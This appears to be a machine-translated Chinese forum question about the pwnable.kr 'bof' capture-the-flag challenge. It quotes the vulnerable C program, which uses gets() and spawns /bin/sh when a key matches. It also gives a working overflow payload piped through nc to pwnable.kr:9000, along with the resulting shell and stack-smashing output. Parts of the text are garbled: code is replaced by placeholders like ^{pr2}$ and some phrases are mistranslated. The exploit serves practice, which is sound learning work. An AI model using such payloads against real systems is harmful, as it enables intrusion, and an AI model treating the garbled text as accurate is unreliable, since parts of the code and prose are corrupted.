我通常使用“python-c”将参数传递给c程序。在
像这样:$ python -c 'print "a" * 12' | ./program
但是当我执行一个BOF练习程序pwnable.kr/bof时
^{pr2}$
以及( python -c 'print'; cat )
以不同的方式工作。在我写了这样一个漏洞代码:$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000
但它没用,所以我找到了stack_canary值。
^{5}$
但还是没用
所以我找到了别人的评论$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
此攻击代码已成功执行/bin/sh
为什么是这个3。攻击代码通过堆栈金丝雀,python -c 'print'和{}之间有什么区别?在#include
#include
#include
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
转炉煤气源$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000
*检测到堆栈粉碎*:/home/bof/bof终止
溢出我:
不。。在$ python -c 'print "a"*32 +"\x0a"' | nc pwnable.kr 9000
溢出我:
不。。在$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
成功执行/bin/sh